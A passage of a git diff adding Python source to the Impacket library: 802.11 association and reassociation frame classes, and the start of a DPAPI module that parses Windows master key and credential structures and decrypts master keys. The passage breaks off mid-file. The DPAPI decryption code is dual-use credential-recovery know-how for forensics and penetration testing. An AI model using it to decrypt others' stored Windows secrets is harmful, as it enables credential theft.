+        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
+        try:
+            while 1:
+                s=next(gen_get_element)
+                
+                if s is None:
+                    raise Exception("gen_get_element salio con None!!!")
+                
+                # OUI is 3 bytes
+                oui=s[:3]
+                data=s[3:]
+                vs.append((oui,data))
+        except StopIteration:
+            pass
+            
+        return vs
+
+    def add_vendor_specific(self, oui, data):
+        "Set the 802.11 Management Vendor Specific element. "\
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        # 3 is the OUI length
+        max_data_len=255-3
+        data_len=len(data)
+
+        if data_len>max_data_len:
+            raise Exception("data allow up to %d bytes long" % max_data_len)
+        if len(oui) > 3:
+            raise Exception("oui is three bytes long")
+        
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
+
+class Dot11ManagementAssociationResponse(Dot11ManagementHelper):
+    '802.11 Management Association Response Frame'
+        
+    __HEADER_BASE_SIZE = 6 # minimal header size
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_capabilities(self):
+        'Return the 802.11 Management Association Response Frame \'Capability information\' field. '
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_capabilities(self, value):
+        'Set the 802.11 Management Association Response Frame \'Capability Information\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_status_code(self):
+        'Return the 802.11 Management Association Response Frame \'Status Code\' field. '
+        b = self.header.get_word(2, "<")
+        return b 
+
+    def set_status_code(self, value):
+        'Set the 802.11 Management Association Response Frame \'Status Code\' field' 
+        self.header.set_word(2, value, "<")
+
+    def get_association_id(self):
+        'Return the 802.11 Management Association Response Frame \'Association Id\' field. '
+        b = self.header.get_word(4, "<")
+        return b 
+
+    def set_association_id(self, value):
+        'Set the 802.11 Management Association Response Frame \'Association Id\' field' 
+        self.header.set_word(4, value, "<")
+
+    def get_supported_rates(self, human_readable=False):
+        "Get the 802.11 Management Supported Rates element. "\
+        "Specifies up to eight rates, then an Extended Supported Rate element "\
+        "shall be generated to specify the remaining supported rates."\
+        "If human_readable is True, the rates are returned in Mbit/sec"
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
+        if s is None:
+            return None
+        
+        rates=struct.unpack('%dB'%len(s),s)
+        if not human_readable:
+            return rates
+            
+        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])
+        return rates_Mbs
+
+    def set_supported_rates(self, rates):
+        "Set the 802.11 Management Supported Rates element. "\
+        "Specifies a tuple or list with up to eight rates, then an "\
+        "Extended Supported Rate element shall be generated to specify "\
+        "the remaining supported rates."
+        qty_rates=len(rates)
+        if qty_rates>8:
+            raise Exception("requires up to eight rates")
+        rates_string=struct.pack('B'*qty_rates,*rates)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
+
+    def get_vendor_specific(self):
+        "Get the 802.11 Management Vendor Specific elements "\
+        "as a list of tuples."
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        vs=[]
+        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
+        try:
+            while 1:
+                s=next(gen_get_element)
+                
+                if s is None:
+                    raise Exception("gen_get_element salio con None!!!")
+                
+                # OUI is 3 bytes
+                oui=s[:3]
+                data=s[3:]
+                vs.append((oui,data))
+        except StopIteration:
+            pass
+            
+        return vs
+
+    def add_vendor_specific(self, oui, data):
+        "Set the 802.11 Management Vendor Specific element. "\
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        # 3 is the OUI length
+        max_data_len=255-3
+        data_len=len(data)
+        if data_len>max_data_len:
+            raise Exception("data allow up to %d bytes long" % max_data_len)
+        if len(oui) > 3:
+            raise Exception("oui is three bytes long")
+        
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
+
+class Dot11ManagementReassociationRequest(Dot11ManagementHelper):
+    '802.11 Management Reassociation Request Frame'
+        
+    __HEADER_BASE_SIZE = 10 # minimal header size
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_capabilities(self):
+        'Return the 802.11 Management Reassociation Request Frame \'Capability information\' field. '
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_capabilities(self, value):
+        'Set the 802.11 Management Reassociation Request Frame \'Capability Information\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+
+    def get_listen_interval(self):
+        'Return the 802.11 Management Reassociation Request Frame \'Listen Interval\' field. '
+        b = self.header.get_word(2, "<")
+        return b 
+
+    def set_listen_interval(self, value):
+        'Set the 802.11 Management Reassociation Request Frame \'Listen Interval\' field' 
+        self.header.set_word(2, value, "<")
+
+    def get_current_ap(self):
+        'Return the 802.11 Management Reassociation Request Frame \'Current AP\' field.'
+        return self.header.get_bytes()[4:10]
+
+    def set_current_ap(self, value):
+        'Set the 802.11 Management Reassociation Request Frame \'Current AP\' field'
+        for i in range(0, 6):
+            self.header.set_byte(4+i, value[i])
+
+    def get_ssid(self):
+        "Get the 802.11 Management SSID element. "\
+        "The SSID element indicates the identity of an ESS or IBSS."
+        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
+
+    def set_ssid(self, ssid):
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
+
+    def get_supported_rates(self, human_readable=False):
+        "Get the 802.11 Management Supported Rates element. "\
+        "Specifies up to eight rates, then an Extended Supported Rate element "\
+        "shall be generated to specify the remaining supported rates."\
+        "If human_readable is True, the rates are returned in Mbit/sec"
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
+        if s is None:
+            return None
+        
+        rates=struct.unpack('%dB'%len(s),s)
+        if not human_readable:
+            return rates
+            
+        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])
+        return rates_Mbs
+
+    def set_supported_rates(self, rates):
+        "Set the 802.11 Management Supported Rates element. "\
+        "Specifies a tuple or list with up to eight rates, then an "\
+        "Extended Supported Rate element shall be generated to specify "\
+        "the remaining supported rates."
+        qty_rates=len(rates)
+        if qty_rates>8:
+            raise Exception("requires up to eight rates")
+        rates_string=struct.pack('B'*qty_rates,*rates)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
+
+    def get_rsn(self):
+        "Get the 802.11 Management Robust Security Network element."
+        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
+        if s is None:
+            return None
+        return s
+
+    def set_rsn(self, data):
+        "Set the 802.11 Management Robust Security Network element."
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
+
+    def get_vendor_specific(self):
+        "Get the 802.11 Management Vendor Specific elements "\
+        "as a list of tuples."
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        vs=[]
+        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
+        try:
+            while 1:
+                s=next(gen_get_element)
+                
+                if s is None:
+                    raise Exception("gen_get_element salio con None!!!")
+                
+                # OUI is 3 bytes
+                oui=s[:3]
+                data=s[3:]
+                vs.append((oui,data))
+        except StopIteration:
+            pass
+            
+        return vs
+
+    def add_vendor_specific(self, oui, data):
+        "Set the 802.11 Management Vendor Specific element. "\
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        # 3 is the OUI length
+        max_data_len=255-3
+        data_len=len(data)
+
+        if data_len>max_data_len:
+            raise Exception("data allow up to %d bytes long" % max_data_len)
+        if len(oui) > 3:
+            raise Exception("oui is three bytes long")
+        
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
+
+class Dot11ManagementReassociationResponse(Dot11ManagementAssociationResponse):
+    '802.11 Management Reassociation Response Frame'
+
+    def __init__(self, aBuffer = None):
+        Dot11ManagementAssociationResponse.__init__(self, aBuffer)
diff --git a/impacket/dpapi.py b/impacket/dpapi.py
new file mode 100644
index 0000000..adca43e
--- /dev/null
+++ b/impacket/dpapi.py
@@ -0,0 +1,1042 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   DPAPI and Windows Vault parsing structures and manipulation
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# References:
+#   All of the work done by these guys. I just adapted their work to my needs.
+#   - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28
+#   - https://github.com/jordanbtucker/dpapick
+#   - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did)
+#   - http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+#   - https://www.passcape.com/windows_password_recovery_vault_explorer
+#   -  https://www.passcape.com/windows_password_recovery_dpapi_master_key
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+
+from struct import unpack
+from datetime import datetime
+from binascii import unhexlify, hexlify
+from struct import pack
+from Cryptodome.Hash import HMAC, SHA512, SHA1
+from Cryptodome.Cipher import AES, DES3
+from Cryptodome.Util.Padding import unpad
+from Cryptodome.PublicKey import RSA
+from Cryptodome.Util.number import bytes_to_long
+from six import PY3
+
+from impacket.ese import getUnixTime
+from impacket.structure import Structure, hexdump
+from impacket.uuid import bin_to_string
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.dtypes import RPC_SID
+
+# Algorithm classes
+ALG_CLASS_ANY                   = (0)
+ALG_CLASS_SIGNATURE             = (1 << 13)
+ALG_CLASS_MSG_ENCRYPT           = (2 << 13)
+ALG_CLASS_DATA_ENCRYPT          = (3 << 13)
+ALG_CLASS_HASH                  = (4 << 13)
+ALG_CLASS_KEY_EXCHANGE          = (5 << 13)
+ALG_CLASS_ALL                   = (7 << 13)
+
+# Algorithm types
+ALG_TYPE_ANY                    = (0)
+ALG_TYPE_DSS                    = (1 << 9)
+ALG_TYPE_RSA                    = (2 << 9)
+ALG_TYPE_BLOCK                  = (3 << 9)
+ALG_TYPE_STREAM                 = (4 << 9)
+ALG_TYPE_DH                     = (5 << 9)
+ALG_TYPE_SECURECHANNEL          = (6 << 9)
+ALG_SID_ANY                     = (0)
+ALG_SID_RSA_ANY                 = 0
+ALG_SID_RSA_PKCS                = 1
+ALG_SID_RSA_MSATWORK            = 2
+ALG_SID_RSA_ENTRUST             = 3
+ALG_SID_RSA_PGP                 = 4
+ALG_SID_DSS_ANY                 = 0
+ALG_SID_DSS_PKCS                = 1
+ALG_SID_DSS_DMS                 = 2
+ALG_SID_ECDSA                   = 3
+
+# Block cipher sub ids
+ALG_SID_DES                     = 1
+ALG_SID_3DES                    = 3
+ALG_SID_DESX                    = 4
+ALG_SID_IDEA                    = 5
+ALG_SID_CAST                    = 6
+ALG_SID_SAFERSK64               = 7
+ALG_SID_SAFERSK128              = 8
+ALG_SID_3DES_112                = 9
+ALG_SID_CYLINK_MEK              = 12
+ALG_SID_RC5                     = 13
+ALG_SID_AES_128                 = 14
+ALG_SID_AES_192                 = 15
+ALG_SID_AES_256                 = 16
+ALG_SID_AES                     = 17
+ALG_SID_SKIPJACK                = 10
+ALG_SID_TEK                     = 11
+
+CRYPT_MODE_CBCI                 = 6       # ANSI CBC Interleaved
+CRYPT_MODE_CFBP                 = 7       # ANSI CFB Pipelined
+CRYPT_MODE_OFBP                 = 8       # ANSI OFB Pipelined
+CRYPT_MODE_CBCOFM               = 9       # ANSI CBC + OF Masking
+CRYPT_MODE_CBCOFMI              = 10      # ANSI CBC + OFM Interleaved
+
+ALG_SID_RC2                     = 2
+ALG_SID_RC4                     = 1
+ALG_SID_SEAL                    = 2
+
+# Diffie - Hellman sub - ids
+ALG_SID_DH_SANDF                = 1
+ALG_SID_DH_EPHEM                = 2
+ALG_SID_AGREED_KEY_ANY          = 3
+ALG_SID_KEA                     = 4
+ALG_SID_ECDH                    = 5
+
+# Hash sub ids
+ALG_SID_MD2                     = 1
+ALG_SID_MD4                     = 2
+ALG_SID_MD5                     = 3
+ALG_SID_SHA                     = 4
+ALG_SID_SHA1                    = 4
+ALG_SID_MAC                     = 5
+ALG_SID_RIPEMD                  = 6
+ALG_SID_RIPEMD160               = 7
+ALG_SID_SSL3SHAMD5              = 8
+ALG_SID_HMAC                    = 9
+ALG_SID_TLS1PRF                 = 10
+ALG_SID_HASH_REPLACE_OWF        = 11
+ALG_SID_SHA_256                 = 12
+ALG_SID_SHA_384                 = 13
+ALG_SID_SHA_512                 = 14
+
+# secure channel sub ids
+ALG_SID_SSL3_MASTER             = 1
+ALG_SID_SCHANNEL_MASTER_HASH    = 2
+ALG_SID_SCHANNEL_MAC_KEY        = 3
+ALG_SID_PCT1_MASTER             = 4
+ALG_SID_SSL2_MASTER             = 5
+ALG_SID_TLS1_MASTER             = 6
+ALG_SID_SCHANNEL_ENC_KEY        = 7
+ALG_SID_ECMQV                   = 1
+
+def getFlags(myenum, flags):
+    return '|'.join([name for name, member in myenum.__members__.items() if member.value & flags])
+
+class FLAGS(Enum):
+    CRYPTPROTECT_UI_FORBIDDEN = 0x1
+    CRYPTPROTECT_LOCAL_MACHINE = 0x4
+    CRYPTPROTECT_CRED_SYNC = 0x8
+    CRYPTPROTECT_AUDIT = 0x10
+    CRYPTPROTECT_VERIFY_PROTECTION = 0x40
+    CRYPTPROTECT_CRED_REGENERATE = 0x80
+    CRYPTPROTECT_SYSTEM = 0x20000000
+
+# algorithm identifier definitions
+class ALGORITHMS(Enum):
+    CALG_MD2                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2)
+    CALG_MD4                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4)
+    CALG_MD5                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5)
+    CALG_SHA                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA)
+    CALG_SHA1               = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1)
+    CALG_RSA_SIGN           = (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY)
+    CALG_DSS_SIGN           = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY)
+    CALG_NO_SIGN            = (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY)
+    CALG_RSA_KEYX           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY)
+    CALG_DES                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES)
+    CALG_3DES_112           = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112)
+    CALG_3DES               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES)
+    CALG_DESX               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX)
+    CALG_RC2                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2)
+    CALG_RC4                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4)
+    CALG_SEAL               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL)
+    CALG_DH_SF              = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF)
+    CALG_DH_EPHEM           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM)
+    CALG_AGREEDKEY_ANY      = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY)
+    CALG_KEA_KEYX           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA)
+    CALG_HUGHES_MD5         = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5)
+    CALG_SKIPJACK           = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK)
+    CALG_TEK                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK)
+    CALG_SSL3_SHAMD5        = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5)
+    CALG_SSL3_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER)
+    CALG_SCHANNEL_MASTER_HASH   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH)
+    CALG_SCHANNEL_MAC_KEY   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY)
+    CALG_SCHANNEL_ENC_KEY   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY)
+    CALG_PCT1_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER)
+    CALG_SSL2_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER)
+    CALG_TLS1_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER)
+    CALG_RC5                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5)
+    CALG_HMAC               = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)
+    CALG_TLS1PRF            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF)
+    CALG_HASH_REPLACE_OWF   = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF)
+    CALG_AES_128            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128)
+    CALG_AES_192            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192)
+    CALG_AES_256            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256)
+    CALG_AES                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES)
+    CALG_SHA_256            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256)
+    CALG_SHA_384            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384)
+    CALG_SHA_512            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512)
+    CALG_ECDH               = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH)
+    CALG_ECMQV              = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV)
+    CALG_ECDSA              = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA)
+
+class CREDENTIAL_FLAGS(Enum):
+    CRED_FLAGS_PASSWORD_FOR_CERT = 0x1
+    CRED_FLAGS_PROMPT_NOW = 0x2
+    CRED_FLAGS_USERNAME_TARGET = 0x4
+    CRED_FLAGS_OWF_CRED_BLOB = 0x8
+    CRED_FLAGS_REQUIRE_CONFIRMATION = 0x10
+    CRED_FLAGS_WILDCARD_MATCH = 0x20
+    CRED_FLAGS_VSM_PROTECTED = 0x40
+    CRED_FLAGS_NGC_CERT = 0x80
+
+class CREDENTIAL_TYPE(Enum):
+    CRED_TYPE_GENERIC = 0x1
+    CRED_TYPE_DOMAIN_PASSWORD = 0x2
+    CRED_TYPE_DOMAIN_CERTIFICATE = 0x3
+    CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
+    CRED_TYPE_GENERIC_CERTIFICATE = 0x5
+    CRED_TYPE_DOMAIN_EXTENDED = 0x6
+    CRED_TYPE_MAXIMUM = 0x7
+    CRED_TYPE_MAXIMUM_EX = 0x8
+
+class CREDENTIAL_PERSIST(Enum):
+    CRED_PERSIST_NONE = 0x0
+    CRED_PERSIST_SESSION = 0x1
+    CRED_PERSIST_LOCAL_MACHINE = 0x2
+    CRED_PERSIST_ENTERPRISE = 0x3
+
+ALGORITHMS_DATA = {
+    # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
+    ALGORITHMS.CALG_SHA.value: (160//8, SHA1, None, None, 512//8),
+    ALGORITHMS.CALG_HMAC.value: (160//8, SHA512, None, None, 512//8),
+    ALGORITHMS.CALG_3DES.value: (192//8, DES3, DES3.MODE_CBC, 64//8),
+    ALGORITHMS.CALG_SHA_512.value: (128//8, SHA512, None, None, 1024//8),
+    ALGORITHMS.CALG_AES_256.value: (256//8, AES, AES.MODE_CBC, 128//8),
+}
+
+class MasterKeyFile(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('unk1', '<L=0'),
+        ('unk2', '<L=0'),
+        ('Guid', "72s=b''"),
+        ('Unkown', '<L=0'),
+        ('Policy', '<L=0'),
+        ('Flags', '<L=0'),
+        ('MasterKeyLen', '<Q=0'),
+        ('BackupKeyLen', '<Q=0'),
+        ('CredHistLen', '<Q=0'),
+        ('DomainKeyLen', '<Q=0'),
+    )
+
+    def dump(self):
+        print("[MASTERKEYFILE]")
+        print("Version     : %8x (%d)" % (self['Version'], self['Version']))
+        print("Guid        : %s" % self['Guid'].decode('utf-16le'))
+        print("Flags       : %8x (%d)" % (self['Flags'], self['Flags']))
+        print("Policy      : %8x (%d)" % (self['Policy'], self['Policy']))
+        print("MasterKeyLen: %.8x (%d)" % (self['MasterKeyLen'], self['MasterKeyLen']))
+        print("BackupKeyLen: %.8x (%d)" % (self['BackupKeyLen'], self['BackupKeyLen']))
+        print("CredHistLen : %.8x (%d)" % (self['CredHistLen'], self['CredHistLen']))
+        print("DomainKeyLen: %.8x (%d)" % (self['DomainKeyLen'], self['DomainKeyLen']))
+        print()
+
+class MasterKey(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('Salt', '16s=b""'),
+        ('MasterKeyIterationCount', '<L=0'),
+        ('HashAlgo', "<L=0"),
+        ('CryptAlgo', '<L=0'),
+        ('data', ':'),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        self.decryptedKey = None
+
+    def dump(self):
+        print("[MASTERKEY]")
+        print("Version     : %8x (%d)" % (self['Version'], self['Version']))
+        print("Salt        : %s" % hexlify(self['Salt']))
+        print("Rounds      : %8x (%d)" % (self['MasterKeyIterationCount'], self['MasterKeyIterationCount']))
+        print("HashAlgo    : %.8x (%d) (%s)" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))
+        print("CryptAlgo   : %.8x (%d) (%s)" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))
+        print("data        : %s" % (hexlify(self['data'])))
+        print()
+
+    def deriveKey(self, passphrase, salt, keylen, count, hashFunction):
+        keyMaterial = b""
+        i = 1
+        while len(keyMaterial) < keylen:
+            U = salt + pack("!L", i)
+            i += 1
+            derived = bytearray(hashFunction(passphrase, U))
+            for r in range(count - 1):
+                actual = bytearray(hashFunction(passphrase, derived))
+                if PY3:
+                    derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder)
+                else:
+                    derived = bytearray([ chr((a) ^ (b)) for (a,b) in zip(derived, actual) ])
+            keyMaterial += derived
+
+        return keyMaterial[:keylen]
+
+    def decrypt(self, key):
+        if self['HashAlgo'] == ALGORITHMS.CALG_HMAC.value:
+            hashModule = SHA1
+        else:
+            hashModule = ALGORITHMS_DATA[self['HashAlgo']][1]
+
+        prf = lambda p, s: HMAC.new(p, s, hashModule).digest()
+        derivedBlob = self.deriveKey(key, self['Salt'],
+                                    ALGORITHMS_DATA[self['CryptAlgo']][0] + ALGORITHMS_DATA[self['CryptAlgo']][3],
+                                    count=self['MasterKeyIterationCount'], hashFunction=prf)
+
+        cryptKey = derivedBlob[:ALGORITHMS_DATA[self['CryptAlgo']][0]]
+        iv = derivedBlob[ALGORITHMS_DATA[self['CryptAlgo']][0]:][:ALGORITHMS_DATA[self['CryptAlgo']][3]]
+
+        cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(cryptKey, mode = ALGORITHMS_DATA[self['CryptAlgo']][2], iv = iv)
+        cleartext = cipher.decrypt(self['data'])
+
+        decryptedKey = cleartext[-64:]
+        hmacSalt = cleartext[:16]
+        hmac = cleartext[16:][:ALGORITHMS_DATA[self['HashAlgo']][0]]
+
+        hmacKey = HMAC.new(key, hmacSalt, hashModule).digest()
+
+        hmacCalculated = HMAC.new(hmacKey, decryptedKey, hashModule ).digest()
+
+        if hmacCalculated[:ALGORITHMS_DATA[self['HashAlgo']][0]] == hmac:
+            self.decryptedKey = decryptedKey
+            return decryptedKey
+        else:
+            return None
+
+class CredHist(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('Guid', "16s=b''"),
+    )
+    def dump(self):
+        print("[CREDHIST]")
+        print("Version       : %8x (%d)" % (self['Version'], self['Version']))
+        print("Guid          : %s" % bin_to_string(self['Guid']))
+        print()
+
+class DomainKey(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('SecretLen', '<L=0'),
+        ('AccessCheckLen', '<L=0'),
+        ('Guid', "16s=b"""),
+        ('_SecretData', '_-SecretData', 'self["SecretLen"]'),
+        ('SecretData', ':'),
+        ('_AccessCheck', '_-AccessCheck', 'self["AccessCheckLen"]'),
+        ('AccessCheck', ':'),
+    )
+    def dump(self):
+        print("[DOMAINKEY]")
+        print("Version       : %8x (%d)" % (self['Version'], self['Version']))
+        print("Guid          : %s" % bin_to_string(self['Guid']))
+        print("SecretLen     : %8x (%d)" % (self['SecretLen'], self['SecretLen']))
+        print("AccessCheckLen: %.8x (%d)" % (self['AccessCheckLen'], self['AccessCheckLen']))
+        print("SecretData    : %s" % (hexlify(self['SecretData'])))
+        print("AccessCheck   : %s" % (hexlify(self['AccessCheck'])))
+        print()
+
+class DPAPI_SYSTEM(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('MachineKey', '20s=b""'),
+        ('UserKey', '20s=b""'),
+    )
+
+    def dump(self):
+        print("[DPAPI_SYSTEM]")
+        print("Version    : %8x (%d)" % (self['Version'], self['Version']))
+        print("MachineKey : 0x%s" % hexlify(self['MachineKey']).decode('latin-1'))
+        print("UserKey    : 0x%s" % hexlify(self['UserKey']).decode('latin-1'))
+        print()
+
+class CredentialFile(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('Size', '<L=0'),
+        ('Unknown', '<L=0'),
+        ('_Data', '_-Data', 'self["Size"]'),
+        ('Data', ':'),
+    )
+    #def dump(self):
+    #    print("[CREDENTIAL FILE]")
+    #    print("Version    : %8x (%d)" % (self['Version'], self['Version']))
+    #    print("MachineKey : %s" % hexlify(self['MachineKey']))
+    #    print("UserKey    : %s" % hexlify(self['UserKey']))
+    #    print("CryptAlgo   : %.8x (%d) (%s)" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))
+    #    print()
+
+
+class DPAPI_BLOB(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('GuidCredential', "16s=b"""),
+        ('MasterKeyVersion', '<L=0'),
+        ('GuidMasterKey', "16s=b"""),
+        ('Flags', '<L=0'),
+
+        ('DescriptionLen', '<L=0'),
+        ('_Description', '_-Description', 'self["DescriptionLen"]'),
+        ('Description', ':'),
+
+        ('CryptAlgo', '<L=0'),
+        ('CryptAlgoLen', '<L=0'),
+
+        ('SaltLen', '<L=0'),
+        ('_Salt', '_-Salt', 'self["SaltLen"]'),
+        ('Salt', ':'),
+
+        ('HMacKeyLen', '<L=0'),
+        ('_HMacKey', '_-HMacKey', 'self["HMacKeyLen"]'),
+        ('HMacKey', ':'),
+
+        ('HashAlgo', '<L=0'),
+        ('HashAlgoLen', '<L=0'),
+
+        ('HMac', '<L=0'),
+        ('_HMac', '_-HMac', 'self["HMac"]'),
+        ('HMac', ':'),
+
+        ('DataLen', '<L=0'),
+        ('_Data', '_-Data', 'self["DataLen"]'),
+        ('Data', ':'),
+
+        ('SignLen', '<L=0'),
+        ('_Sign', '_-Sign', 'self["SignLen"]'),
+        ('Sign', ':'),
+
+    )
+
+    def dump(self):
+        print("[BLOB]")
+        print("Version          : %8x (%d)" % (self['Version'], self['Version']))
+        print("Guid Credential  : %s" % bin_to_string(self['GuidCredential']))
+        print("MasterKeyVersion : %8x (%d)" % (self['MasterKeyVersion'], self['MasterKeyVersion']))
+        print("Guid MasterKey   : %s" % bin_to_string(self['GuidMasterKey']))
+        print("Flags            : %8x (%s)" % (self['Flags'], getFlags(FLAGS, self['Flags'])))
+        print("Description      : %s" % (self['Description'].decode('utf-16le')))
